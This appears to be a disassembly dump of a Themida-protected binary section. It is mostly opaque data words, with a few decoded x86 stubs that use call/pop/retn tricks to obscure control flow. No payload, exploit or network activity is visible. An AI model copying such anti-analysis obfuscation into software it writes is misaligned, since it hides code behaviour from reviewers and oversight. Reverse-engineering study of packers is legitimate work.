6C173B72h, 0BD8315AAh, 615C812h, 0AB840F00h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0CD0FC355h, 0C6E07EF6h, 0FFD98B66h dd 15C812B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0D7FCCA38h, 0ECED296Dh, 0BD8BBD6Ah dd 61218F1h, 185BD29h, 0BD030612h, 6120E81h, 1AA995FFh dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 584358C3h, 0E9369811h, 0Ah, 31660EFBh, 0ED030293h dd 0B58B39EEh, 615C806h, 6C754B7h, 10001h, 57A430BBh, 5250967Fh dd 188B0Fh, 12E80000h, 84000000h, 735A8C82h, 200C3AF0h dd 1FDCA64Ah, 0E58F1852h, 310F5F5Fh, 0D1A1BF66h, 8B50585Ah dd 816696D8h, 0FF5B32D3h, 15C812B5h, 0C9858906h, 0FF061219h dd 121C0595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 1A58265Ch, 5AA1D210h, 6B58BFCh, 0F0615C8h dd 389h, 0FE8B6600h, 1A5858Bh, 6A0612h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0EF570CC3h dd 0E9849AF7h, 0Fh, 494DCBD7h, 55203DB1h, 8277EE03h, 89924BCDh dd 0C486h, 0CD950900h, 8B061226h, 1209A195h, 49952906h dd 83061206h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0D86996C3h, 20508936h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1AC35242h, 0D7772937h dd 1EAFD77Eh, 0B5858994h, 8D061200h, 15DC6F85h, 8D9D8B06h dd 8B06122Ch, 121165BDh, 0B8868906h, 0F000000h, 286h, 6A44B300h dd 31950100h, 0FF06122Ah, 15C812B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7402AAA3h dd 10E9A063h, 3F000000h, 0A631433Fh, 0BE276309h, 212EAB9Eh dd 0F17038Ch, 18Dh, 95FFF500h, 61206A5h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 84C35343h, 3B545F66h dd 0CE821h, 0D5FE0000h, 478CA502h, 2FAE5055h, 0B589FF7Eh dd 6122A6Dh, 0C1BD8B5Fh, 50061211h, 9E85250h, 69000000h dd 0E767C34Eh, 563DF788h, 66310F5Fh, 585ADF8Bh, 6A243489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0CB9BC357h, 0BD297AE1h, 612055Dh, 0C812B5FFh dd 8E0F0615h, 5, 77F78166h, 8195FF9Fh, 6A061202h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 1A6DC350h, 8B13EF13h, 1211C19Dh, 56EF8106h, 830F4571h dd 122A09BDh, 840F0006h, 58h, 5032DF81h, 0E8500ECDh, 11h dd 0D942F0CBh, 86335730h, 99945C1Fh, 0D499129h, 0EE9B6h dd 0B100000h, 0CE39F60Eh, 102D1742h, 3C25D44Fh, 2434895Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A1C35545h dd 39BD8B2Bh, 0FC061217h, 0C812B5FFh, 6A0615h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 47AF76C3h, 4794729Eh, 48D0Fh, 0BF660000h, 95FFB7F1h dd 61218C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0B9C35242h, 861363D5h, 0C812B5FFh, 6A0615h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 63022C3h, 65021598h, 0F98B66E3h, 7259531h, 95FF0612h dd 6121BA1h, 0C46822BBh, 0B1BD8338h, 206121Eh, 4F840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 858B77C3h, 61203A5h, 5D9D8Bh, 0C60612h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 12624605h, 697C6595h, 5985C776h, 6121Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 87C352h, 0E800D883h, 14h, 9A895DB5h, 0A52A0566h dd 906A21E4h, 2941C635h, 1E310BE9h, 0EE9h, 73B32400h, 0A0A75E7Bh dd 527ED8A1h, 5BFC7161h, 297DBD0Bh, 0BCE90612h, 29FFFFF2h dd 1205858Dh, 6AC18B06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 9B69C350h, 3707419h dd 0F550951Bh, 1858D5Fh, 6A06122Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0BFC6C353h dd 0E519D8Bh, 66500612h, 89246EBBh, 0BD8B2404h, 6120DD9h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 4525CFC3h, 53AD2E7Fh, 8E941h, 0AC030000h dd 2063F439h, 0BD09ED3Bh, 6120149h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0ABE989C3h dd 4089F373h, 8B66265Dh, 3A858DFBh, 6A0616DBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8B8AC351h, 5C083D8h, 0D9B70F52h, 8B60505Fh, 5B5053C3h dd 489615Eh, 0E19D8924h, 6A061211h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 2CA4533Ah dd 6A33B7h, 5E8h, 4DFB1200h, 95290C79h, 6122061h, 0B595FF5Bh dd 6A06120Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 3502C355h, 2E198589h, 8D8D0612h dd 615AF02h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0A2C35747h, 0E44BFF71h, 0D35CECBFh, 618529B7h dd 0FF061222h, 51006AD1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0A9BD89D8h, 0E9061212h dd 14h, 0FEBD05CBh, 28CC7F33h, 8D9FA65Fh, 5174C8EDh, 86E7D5C5h dd 7ADBD83h, 0F010612h, 5385h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 8EAF87A7h dd 8166BAC0h, 0FDA26E3h, 26AFBB7h, 5BFA8A52h, 89BB5190h dd 5B439A7Dh, 8D0F9050h, 6, 15999D8Bh, 95FF0612h dd 61206A5h, 99958952h, 5F061205h, 0DCDE9h, 0E800h, 815D0000h dd 16DB44EDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 72869CF8h, 66BB1EACh, 8D6B8DBBh dd 15943785h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0BF911B7Fh, 5660C7F5h, 88E0F90h dd 52000000h, 820Fh, 505F0000h, 11E8h, 4FCF9300h, 2DB8B21Dh dd 0F45E76FBh, 3793942Eh, 905F0028h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 22C35040h, 313692F4h, 121E0585h dd 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_59460F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59460F proc near ; CODE XREF: Themida_:00594607p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_59460F endp ; --------------------------------------------------------------------------- mov ch, 66h or edi, 8964D276h and eax, 0 mov [ebp+6122B0Dh], edx inc dword ptr [ebp+6120679h] push 0FFFFFFFFh push edx jmp loc_594646 ; --------------------------------------------------------------------------- dd 0C3F95BA0h db 0F8h, 0CFh ; --------------------------------------------------------------------------- loc_594646: ; CODE XREF: Themida_:0059463Bj pop ebx push dword ptr [ebp+6122A49h] push 0 push edx call sub_594658 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594658 proc near ; CODE XREF: Themida_:00594650p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_594658 endp ; --------------------------------------------------------------------------- dd 0A580B0EAh, 0F8B70F82h, 2CB595FFh, 39E90612h, 60000001h dd 14F99D89h, 0BA660612h, 0B0617C96h, 38E0F00h, 66000000h dd 70E6F98Bh, 7DEF8166h, 8B71E485h, 121955BDh, 0F613C06h dd 10B83h, 719D8900h, 0F06121Ch, 0BF60C8B6h, 0BE948DCh dd 11E8h, 76A44D00h, 151B8331h, 0EAABBA23h, 0F26F6351h dd 9D8BB78Ah, 6122D4Dh, 6BA6159h, 8B000000h, 59BD8BC1h dd 0C106120Dh, 0BF0F04E8h, 6860FFBh, 1000000h, 12155995h dd 0E2F76606h, 9D8BC82Bh, 61219A5h, 63B3D18Bh, 0ABE9h dd 5E86000h, 16000000h, 8B2923B2h, 0D930BE66h, 38A0F5Eh dd 0F000000h, 8B61D2B7h, 185h, 0B19D3300h, 0F061201h, 8Bh dd 7C08300h, 0EE9h, 7DB9700h, 0CDC0F715h, 0BDFDBB11h, 1764DA6h dd 12013D8Dh, 0C08306h, 6E8h, 0AAEEEC00h, 5B7B2BAFh, 830FD03Bh dd 16h, 34D38166h, 42E9C2h, 7E90000h, 7F000000h, 9871C5F5h dd 8D8BB896h, 0FFFFFFFFh, 3318D89h, 0E1830612h, 21840F01h dd 3000000h, 12137DBDh, 0FFA58306h, 0FEFFFFFFh, 1EED8D01h dd 95890612h, 1, 0E9D98B66h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6165A88h] push 0 push esi call sub_5947C5 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5947C5 proc near ; CODE XREF: Themida_:005947BDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5947C5 endp ; --------------------------------------------------------------------------- db 0C5h, 0DAh, 41h ; --------------------------------------------------------------------------- push 0 adc edi, 7AD9A1F5h call dword ptr [ebp+61219CDh] mov ebx, 1D8BDFD5h mov ecx, 0E97h push 0 push esi call sub_5947FB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5947FB proc near ; CODE XREF: Themida_:005947F3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5947FB endp ; --------------------------------------------------------------------------- db 13h dd 5CF9AAC8h, 14E82Eh, 0C21D0000h, 98A89D52h, 0E772A317h dd 0CE4B396Dh, 6E72887Ch, 5E86A62h, 38000000h, 3092F649h dd 6A98D89h, 5F5F0612h, 89FCE183h, 12150DB5h, 6AFC06h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 152892C3h, 0C02BC652h, 435BD8Bh, 0D22B0612h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0B3C35040h, 0CB6A0AB4h dd 0E5BD2B76h, 8006120Dh, 33AD06F3h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 9E7BB3C3h, 41B52956h, 5B06120Dh, 880Dh, 0E3816600h dd 958B8839h, 61209A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0C8C35646h, 6DE6E444h, 0B09C02C2h, 11E9E2h dd 4D790000h, 867437FFh, 0E3F2FE1Ah, 185F7AB4h, 8B7FA312h dd 1205058Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0E31E249Eh, 579CB740h, 8B50D1FFh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 3D7DBF66h dd 0A131BB66h, 2121BD83h, 0F000612h, 3084h, 0A1858900h dd 0F061221h, 58Ch, 0AA8CBF00h, 0B833D8h, 0F5000000h, 4DB58D8Dh dd 8BBF0612h, 8957F2E9h, 12133195h, 81E1FF06h, 0A9E02EF3h dd 0D9BD8339h, 6121Bh, 494840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 1DF5BC3h dd 0E134611Fh, 83DEBF0Fh, 121BD9BDh, 840F0106h, 47Dh, 2B0D9D0Bh dd 0BD830612h, 6121BD9h, 34860F03h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 3156C357h, 12347D85h, 9606006h, 12314D95h, 0C5BD2906h dd 6106122Bh, 6AD98C66h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 70DC350h, 65579227h dd 8032B726h, 840F04E1h, 18h, 13E9h, 0DD6BF00h, 0A048B20Dh dd 62F0ABB8h, 505EBA8Ch, 0AB1A5531h, 840FC90Ah, 14Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 98C35343h, 24BB1240h dd 893D3EA5h, 121989BDh, 8D858B06h, 6A061230h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0A046C357h, 77A80216h, 12E9B98Ch, 24000000h, 82D050B7h dd 28879AE0h, 0CD60C30h, 0D0E3AEBCh, 33DE8ABFh, 12316585h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 59C6FDDAh, 6690E842h, 5050DF8Bh, 0DA8B6652h dd 5060310Fh, 5A310F52h, 0D68B6658h, 90585A61h, 2EE99589h dd 6A0612h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 72C35242h, 452EC731h, 31E6C08Ah, 0E4BF6613h, 9EE868E2h dd 14E9D758h, 0C3000000h, 20F1FBA6h, 0CB3D0AF9h, 47E49373h dd 356C38BDh, 81CDF67Ah, 65172404h, 9D8928C6h, 6121931h dd 237995FFh, 85890612h, 615C812h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 99C35646h, 38D0BB8Ch, 0CCE92D00h dd 0F000001h, 689h, 0E9858900h, 29061203h, 121C2DB5h, 0A858B06h dd 0F0615C8h, 0C82h, 68A0F00h, 0F000000h, 86h, 1800C700h dd 23000000h, 120E419Dh, 0EB58B06h, 6A0615C8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0A529C355h, 3D5D921h, 0E901416Eh, 14E99D0Bh, 858B0612h dd 6122AB9h, 0B537C381h, 6893507h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 1AC35242h, 2B3EEBD7h, 25BD8B78h dd 8B061229h, 12308D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0D11D7CD9h, 7E87Eh, 0E0C60000h dd 3F1A81BEh, 259D2974h, 5F061207h, 23859D8Bh, 46890612h dd 759D8B04h, 9606122Ch, 8B505B57h, 830F96FEh, 5, 70CF8166h dd 0AB5FF54h, 0E90615C8h, 5, 48DCC96Fh, 0FBBF0F3Ah, 1C4F068h dd 0E85250F1h, 14h, 988BFBD0h, 0CCA68A0h, 0FB044ED0h, 0EE84894Fh dd 72C64472h, 0F5FD88Bh, 5E931h, 0F8970000h, 5A7D07B3h dd 24048158h, 0F1D3F0Fh, 858DDC8Ah, 615C812h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F8C35040h, 0D19086DAh dd 0A75889DBh, 13E8h, 78C80100h, 0EE6B2DA8h, 0A87FEFAFh dd 1CDE30EAh, 0D89D029Dh, 0D6816660h, 5F61D602h, 6870F50h dd 60000000h, 891BBA66h, 24048961h, 2D299D8Bh, 95FF0612h dd 6122379h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 56C35343h, 0B11ADB6Ch, 61CCCA28h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0E3C35545h, 1BD985C7h dd 30612h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0D9AC23C3h, 8B0CF86Ah, 12BD83FAh dd 615C8h, 55840Fh, 8C0F0000h, 11h, 0CE9h, 0CDE1F400h dd 0C0AB28A8h, 35CBFFF1h, 0C781660Fh, 4FE96F3Ah, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0CB08C351h, 0CE95Ch, 0F5770000h, 0E0ECC34Dh dd 89441BA4h, 8166BFF3h, 50D722C3h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5085EDC3h dd 362371BEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 29C35646h, 1741ECB2h, 79849222h, 6850Fh, 0BD8B0000h dd 612118Dh, 5E9F88Bh, 0ED000000h, 6F7AB4Dh, 1BD9BD83h dd 0F030612h, 40885h, 0FE900h, 0E1C90000h, 9DAEEE08h, 6CC1802Ch dd 994790ACh, 5E92Ah, 94590000h, 835B8464h, 15C812BDh dd 840F0006h, 3DDh, 1621B531h, 0B5FF0612h, 615C812h, 6BF38166h dd 0A5E38119h, 0FF7CE20Eh, 121AA995h, 0B58BF806h, 615C806h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h db 19h, 0 word_594F42 dw 0 ; DATA XREF: ___:off_4387F8o ; --------------------------------------------------------------------------- inc edx push edx retn ; --------------------------------------------------------------------------- sub eax, 6B94A612h pop ss add ebx, 7B165533h and bx, 78C7h mov dword ptr [esi], 10001h xchg eax, esi mov di, bx push eax mov bl, 0Ah xchg eax, esi jmp loc_594F7D ; --------------------------------------------------------------------------- db 44h dd 0D0718D5Bh, 0D9BBDh, 85827FC9h, 86B3493Fh ; --------------------------------------------------------------------------- lahf loc_594F7D: ; CODE XREF: Themida_:00594F66j push dword ptr [ebp+615C812h] push 0 push ebp call sub_594F8E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594F8E proc near ; CODE XREF: Themida_:00594F86p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_594F8E endp ; --------------------------------------------------------------------------- dw 8AB7h dd 0B06E30DAh, 953DBFC4h, 7E954B8h, 2E000000h, 8496AC0Ah dd 95FF953Dh, 6121C05h, 12459D8Bh, 12E80612h, 1C000000h dd 0A9189CEAh, 0E79B5FF3h, 88C7FBBCh, 0C42209D7h, 61605120h dd 0B58B5F5Fh, 615C806h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0FEC35343h, 0F343E152h, 5A9BD33h, 858B0612h dd 61201A5h, 22DDBD8Bh, 86890612h, 0C4h, 18D59D8Bh, 8B660612h dd 0A1958BDEh, 6A061209h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0F9E4C351h, 1259D2Bh dd 0C2830612h, 25B58904h, 8906122Eh, 6A2050h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C6C4F8C3h dd 98089BF2h, 9D0B7C77h, 6120DE9h, 2F45BD8Bh, 858D0612h dd 615DC6Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 49C35545h, 38450480h, 682E4024h, 0ED9BD8Bh, 86890612h dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0E3C35040h, 274AA3EFh, 190CC9BFh, 0D8D2947h, 6A061223h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0CFE29CF4h, 89177FC4h, 1207919Dh, 12B5FF06h dd 6A0615C8h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 298CC350h, 9F761A8Eh, 8529139Dh dd 6121FB9h, 308FABBFh, 0BE92Eh, 5FE60000h, 51BB75D4h dd 2C64BC22h, 0A595FF59h, 6A061206h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 55A6C355h dd 0D921A529h, 84A7D781h, 66966DF6h, 0B750F98Bh, 816696AAh dd 0FFE78CCFh, 15C812B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0B97AE6ABh dd 8B753A6Bh, 121D4D9Dh, 8195FF06h, 83061202h, 122A09BDh dd 840F0006h, 4Eh, 0DE852h, 0A14C0000h, 2F5AACCh, 0F787BF85h dd 5BFD6642h, 860F505Bh, 0 ; --------------------------------------------------------------------------- mov [esp], esi push 0 push esi call sub_5951FE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5951FE proc near ; CODE XREF: Themida_:005951F6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5951FE endp ; --------------------------------------------------------------------------- dw 9EF1h dd 11E0DF74h, 0B531A670h, 6122199h, 4018529h, 0B5FF0612h dd 615C812h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 40C35242h, 52853746h, 95FF8C16h, 61218C1h, 0BE9h dd 0FB075100h, 0D09D8A60h, 34961CE9h, 9FC3B9BBh, 12B5FF30h dd 0FC0615C8h, 1BA195FFh, 0BD830612h, 6121EB1h, 36840F02h dd 8B000000h, 1208C5BDh, 0A5858B06h, 6A061203h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 2E07C355h, 0DE8B6685h, 8B0000C6h, 12234D9Dh, 5985C706h dd 6121Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0D2F9C353h, 8B9314D0h, 1231419Dh dd 0F34EE906h, 9D89FFFFh, 6123175h, 6AC18Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0EF5BFEC3h dd 3880F6Bh, 80000000h, 0B660CCF3h, 69BB6680h, 13E96181h dd 79000000h, 289DADh, 3 dup(0) dd 6FE90000h, 38000005h, 4B3BD945h, 5F4FED57h, 77670567h dd 8D7D1B81h, 25923098h, 0FB6358CAh, 12766D5Dh, 2B8B8474h dd 45A39D8Dh, 0D647A8A7h, 75FFF0AEh, 0F58AABDh, 0FEB4B715h dd 0F51D8E09h, 46FE907h, 90801EB6h, 1B8D3896h, 0E4C9D992h dd 42258FF3h, 3134928Ch, 721D877Bh, 0DA44A29Ch, 3E39AF7h dd 58C93A34h, 6FE93530h, 0BB59F13Fh, 0D472D2CBh, 0A2625B31h dd 0F04649A9h, 95FF5558h, 6164C4BDh, 4D50B4ABh, 373AA297h dd 26298781h, 35244CBDh, 0DD2B6FE9h, 2F9E7E37h, 28F7D796h dd 4131CF2Fh, 7DE6E947h, 4A4DAFA7h, 0EA178AF4h, 9B6FE935h dd 0D93004E4h, 20D81DA8h, 6Fh, 0B7150FC6h, 99D94BB4h, 8EAAD252h dd 93BB2CD7h, 9A6FE952h, 456FE24Ch, 0F06FE952h, 2D55C64Fh dd 3C6FE952h, 3E384EEh, 4EB6AB81h, 0AE8BF54Bh, 0D81DC657h dd 0A9Eh, 4883F500h, 0A2F0FF88h, 0FFD39A3h, 0F8AEB11Bh dd 0E1979A04h, 0CD0C89EBh, 0E87CE0D7h, 3BD333A2h, 5EC4BA90h dd 0FDB411F4h, 0F05A4E1Dh, 0A686252h, 0FDF3C96Ch, 5CF12D97h dd 72203BEAh, 66D045A5h, 2E31998Eh, 171A8478h, 936242FBh dd 0B58B369Eh, 74F25CBCh, 9D07FBD1h, 2DA449Ah, 0FE269708h dd 0D6FE997h, 6E2427BFh, 93691476h, 0DD33369Eh, 39FC9073h dd 98173FB0h, 0D8266FE9h, 6BEDCD6Eh, 8D5EDEF9h, 0A5505C3Bh dd 0E9880C34h, 5BC5136Fh, 1E02377Eh, 7A5ED8h, 0F040000h dd 0F9AFB21Ah, 6BF49F01h, 0A538A095h, 6FE9077Dh, 82E8DE8Ch dd 9991297Fh, 0F4D7419Fh, 0DEE1493Eh, 0C8CB3328h, 0B5B91912h dd 4EED5C3Ch, 0F3E8B797h, 8FDED8Bh, 271FF5A0h, 74D4CDC5h dd 0CEB11B71h, 0B9BC2218h, 986C4C25h, 0D81D8151h, 6178h dd 1A0F1E00h, 0F9AFB2h, 80399DA0h, 74DCD1A0h, 675D33D6h dd 98ACFE01h, 56E5B57Ch, 0DE4FFA92h, 6FE992B6h, 0D10D77C5h dd 5D511B0Fh, 27B05BF3h, 0E9078EB6h, 4AACA46Fh, 0A4F2F147h dd 0E650B6ACh, 3A289A03h, 0CCD86FA2h, 81AE218Bh, 306FE92Fh dd 6EC59979h, 0B5D81DA2h, 6, 0DE3C360Ch, 170F3874h, 2FCB2B5h dd 0FF70F9A4h, 6FE907D7h, 459C9CE6h, 0F5E342D1h, 0B910F35Dh dd 534B1AFAh, 8D389891h, 0E940F41Ch, 15ADFB6Fh, 58EBE277h dd 64E33CADh, 0DC2A69FBh, 0A09A70D9h, 65D63F42h, 75FB1B3Dh dd 0FC66FE4Ch, 2ECC2A24h, 3BE6443Eh, 6096F65h, 5FBFB8B0h dd 0B99C065Ch, 0FB1B3E68h, 9E9A275h, 8982403Ah, 0CE979D2Dh dd 69E66EBh, 0EF594D03h, 6FE96ECh, 51A7AA10h, 312B1BB9h dd 0DE67D0D3h, 0FBC2456Dh, 9C065475h, 696CCAC4h, 0DDD4AA4Dh dd 8E6E0F79h, 0DD3D360Ch, 47A19B73h, 9800DD4Bh, 9331C916h dd 3046479Eh, 1558EDEh, 0FE50000h, 5BB1B418h, 0EA5CB5F1h dd 0A314E57Ah, 6FE9407Bh, 3FA03482h, 83006A10h, 0C54EF988h dd 8F92FAEFh, 797CE4D9h, 0AE218B23h, 69FC0865h, 0AD6366B4h dd 14B755B3h, 0E8F21A8Bh, 70075FBh, 0F05AA8A7h, 0BDC01E18h dd 21897E54h, 87E5DFB7h, 0EFC56884h, 289194F8h, 0FBE88FB7h dd 0B8509E75h, 5F62CCC0h, 1EFE9F09h, 41EB2A9Ch, 17736AA2h dd 7DDBD5ADh, 0DCA3CDFh, 92683CE3h, 83DAB721h, 0CADE2FD1h dd 5Dh, 0B813AF21h, 81C3D048h, 6F6ADB17h, 9E0F847Ch, 6FE90776h dd 79F3785h, 2A90865Ch, 0DC67D127h, 16F9636Bh, 2F28FE10h dd 7C14786Fh, 0E2E53312h, 0E9066991h, 12F26BEFh, 0B8B0A39Eh dd 0A213BE56h, 9016F89Ah, 0A7CF40A1h, 0A6FE907h, 0E9077199h dd 2B2A786Fh, 0C8A745DDh, 73h, 80636A76h, 0E38E2688h, 0FB1B5D72h dd 5B5EAC69h, 0C1251CF2h, 27857F57h, 419F9989h, 23CEED3Eh dd 0DF9875FBh, 0D83630FFh, 1FA6A53Ah, 5D8715D0h, 3C9E969Ah dd 0B34BE339h, 0B3A97F08h, 8AF44A4Dh, 124FDA17h, 9A9DEB70h dd 898CEAE4h, 0BFB38932h, 92FC5255h, 0AE9D11F1h, 0BAF76813h dd 0CB6A04A6h, 2AC2261Dh, 3CB1A97Fh, 0FB66A3CBh, 0C45CAA75h dd 6A88DC5Ah, 0C435E063h, 69FFF087h, 8F454896h, 0B68C3795h dd 76F45EBCh, 2B2E8C86h, 92F4ECC2h, 0F04E76E7h, 0F5D75FFh dd 2E4E32A5h, 7C1D4779h, 2A62730Ah, 85EF3942h, 3B3504E4h dd 554F3FDDh, 483EF4F7h, 0C988DFE2h, 0C2201AE9h, 0C93A3424h dd 0EBA7CF40h, 68B69886h, 86EBADD5h, 0EA5BBC98h, 9886EBC2h dd 4BE37BC9h, 0FA348h, 2C020000h, 107A6E38h, 1C1FB70Dh dd 95205CC6h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h dd 89504D0Bh, 405E0h, 0E8830000h, 24043304h, 33240431h dd 685C2404h, 0D61h, 53243489h, 0C381E389h, 4, 4EB81h dd 1C870000h, 3C895C24h, 29BD5524h, 890616E9h, 242C8BEEh dd 4C481h, 8B540000h, 0C483243Ch, 4EC8304h, 81243489h dd 0A152434h, 478F0B52h, 8778108h, 0B520A15h, 5F2434FFh dd 4C481h, 348B0000h, 0E2895224h, 4C281h, 0C2810000h, 4 dd 5C241487h, 0FB916CE9h, 2E935DFFh, 0CB86F79h, 30616EEh dd 0DEE0FFC5h, 63580082h, 5245C670h, 54018DD0h, 8C40BCBBh dd 44410839h, 2835FF19h, 0E769F1ADh, 8D302856h, 122E0185h dd 68F0F06h, 23000000h, 120339BDh, 4895006h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 5E96Ch, 73930000h, 3162425Bh, 12234995h, 6A006A06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 48F3C357h, 800F7Bh, 6A000000h, 51006A00h 